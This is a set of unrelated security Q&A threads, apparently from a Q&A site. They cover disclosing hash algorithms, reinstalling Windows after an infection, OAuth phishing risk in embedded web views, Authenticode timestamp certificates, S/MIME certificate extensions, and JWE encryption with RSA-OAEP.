Does it make things considerably worse to explicitly expose the algorithm used? I'm thinking, even if the attacker knows the exact algorithm (of a very few) it is more or less the same order of work to crack it, x1 or x5 is not a big deal, the same O(effort). But it makes things simpler for me to manage.

What do you experts think?

Update. I was thinking about another option such as referring to a particular algorithm by codes such as alg1, alg2 and writing down the explanations of those references somewhere else, in the application, perhaps, to keep this information at hand. If my original idea should turn out bad, would this approach correct it?

Sure it's ok. This is a simple application of Kerckhoffs's principle: the secrecy is not in the algorithm, but in the key or password. For starters, anyone who has access to your implementation, or to its documentation, or who knows what is supported by the libraries your application is built with, knows what algorithm(s) your application may be using. At most, the attacker would have to try a small list. And if there are several possibilities, your application would also have to try that list, making authentication slower for no good reason (you increase your own workload by the same amount as the attacker's).

As you've noticed, it's common practice to prepend the identification of the algorithm to the salt and hash. Granted, common practice isn't always sensible, but here it is. Bcrypt uses numerical codes inherited from Unix practice. You can use your own naming scheme if you prefer, though as usual you should stick to what your library provides unless you have a very good reason to do your own thing.


How to safely reformat? Spyhunter has found an infection on my computer and I need to reformat, evidently.  The main question I have is how can I safely reinstall Windows with all Windows updates safely?  I suspect that each time I reformat, the computer gets reinfected during the installation process.

If you have other computers on the network it is possible they are reinfecting your computer.

Another consideration is to make sure you use genuine software only. You can get hashes for Windows ISOs to verify the installation media's authenticity. (If you download ISOs from mirrors it is possible they have been modified to include adware/malware and hashing will guarantee that the media is genuine.)


Are most app OAuth implementations vulnerable because of an obscured URL/origin? I cringe every time I am prompted with OAuth in an app because of the lack of ability to verify that the page is actually originating from the represented source.

Are most app OAuth implementations exposing vulnerability because of obscured URL/origin?

Below are OSX and iOS apps... a web view (embedded web browser viewport without address bar) is created and the OAuth page is displayed without URL or SSL certificate - which could be easily spoofed and exploited with phishing techniques. The risk seems huge.

Cobook App on OSX

Trello App on iOS

This does not violate the security section of the OAuth 2.0 RFC.  However, the OAuth 2.0 threat model RFC mentions phishing.  The issue of obscuring the origin of the authentication page is not listed...  anywhere.  As in, I have never herd of this problem and I don't believe it is documented.

One could make the argument that all authentication pages must always show their origin and show that they are protected with HTTPS.  (Is your screen shot of an HTTPS page?  There is no way to tell.)  This is a medium/low risk vulnerability,  and I think twitter should fix it.  I recommend emailing security@twitter.com,  twitter takes security very seriously and they have a great security team.


How is an Authenticode timestamp verified? For an Authenticode signed file to be verifiable by Windows after the original signing certificate has expired (typically 1-3 years after issue), the file also needs to have a cryptographically signed timestamp that Windows can verify.

There are a number of Authenticode timestamping services that will sign your binary for you for free (if they're online and working at the time).

It is not sufficient for the certificate associated with the timestamp signature to just chain back to one of the trusted root CAs in the Windows certificate store, or else your own Authenticode key could be used to sign the timestamp, making the whole exercise pointless (you could make a signature using an expired cert, then forge a timestamp from the past).

Is there an X.509 timestamping attribute that Windows checks in the cert before accepting the signature? If so, how can you get such a certificate?

Or is there a separate Authenticode timestamp trust hierarchy?

A certificate for a Time Stamp Authority is accepted as such only if it contains an Extended Key Usage extension which itself advertises the specific id-kp-timeStamping object identifier (aka 1.3.6.1.5.5.7.3.8). Though Authenticode time stamps do not follow the RFC 3161 format, the rules on the TSA certificate are still the same (see section 2.3).

There is some information on Authenticode time stamps there. Like standard (RFC 3161) time stamps, they rely on PKCS#7 (aka "CMS") but the exact format of the data element that is signed by the TSA differs.

This blog post advertises some sort of "your own TSA" product (which I have not tried in any way) that supports Authenticode; this would indirectly mean that making your own TSA certificate and have it accepted by Windows as valid for Authenticode time stamps is feasible.

Any CA may issue a certificate with the "TSA" object identifier in it (there is no conceptual difficulty in it), but most established CA will not, mostly for lack of demand. Note that running a TSA properly implies maintaining an accurate enough clock, resilient to external attempts at changing its notion of time (beware of NTP !), and that's not easy. It is actually very hard to do if you try to achieve sub-second accuracy (e.g. you have to process leap seconds, you cannot just ignore them).


Which extensions to use for a S/MIME certificate? Analogously to the SSL server certificate question, which extensions should I use for S/MIME, and should the CA be restricted somehow as well?

(I'm using openssl, which at the moment creates CA and certificates with permission to do basically everything)

There are details spelled out in RFC 3850. In practice:

It is highly recommended to include your email address in your certificate, in a Subject Alt Name extension (or possibly as an extra attribute in the subjectDN but this is deprecated). If the certificate does not contain the email address, your correspondents will have to find another way to associate the certificate with your email address, and most software will have trouble with that (this is meant to be supported, but it will make things difficult for other people).
If your certificate usage is restricted with a Key Usage extension, then digitalSignature and/or nonRepudiation must be allowed explicitly in that extension.
If the certificate contains an Extended Key Usage extension, then it must contain either the id-kp-emailProtection OID (1.3.6.1.5.5.7.3.4) or the special all-purpose anyExtendedKeyUsage OID (2.5.29.37.0).
If the certificate is a signature-only certificate (it contains a DSA or (EC)DSA key, or is restricted through Key Usage), then email encryption will be hard. There is (was ?) a mechanism in which your software generates a Diffie-Hellman key pair, and attaches the public key to the signed emails you send, allowing recipients to encrypt their responses. This is, at best, ill-supported in the wild, and it adds some extra issues (such as storage of the extra DH private key). Therefore you'd better use a certificate which is encryption-able (RSA key, and not restricted with a Key Usage extension).
Theoretically you could have two certificates, one for email encryption and one for email signatures; this would be a good idea. But support might be found a bit wanting in that area. Some testing is required.

There were some Netscape-specific extensions in older times, which were needed for proper usage by Netscape Communicator, but who runs that nowadays ?


JSON Web Encryption - Authenticated Encryption So I read that JSON Web Encryption (JWE) uses only authenticated encryption. By that I understand, that the integrity of the payload is ensured by using something like AES-GCD.

However, I also see that JWE supports RSA-OAEP. How is integrity ensured when using RSA? Also, how can you encrypt a (typically large) JSON file with RSA? I thought RSA has a very low payload length limit.

JWE specifies the use or RSA-OEAP for key encryption, not content encryption.  So you would still use an AEAD algorithm such as AES-GCM to encrypt the JSON, and the use RSA-OEAP to encrypt the key so that it can be securely transmitted to the receiver along with the encrypted data.

This mechanism still preserves the integrity of the data. All an attacker, even an active man-in-the-middle can do would be to fiddle with the encrypted key, the ciphertext, or the tag.   If any of these are tampered with, the authentication will fail, and the receiver will know that tampering occurred and that further decryption of the content is either not possible or not safe.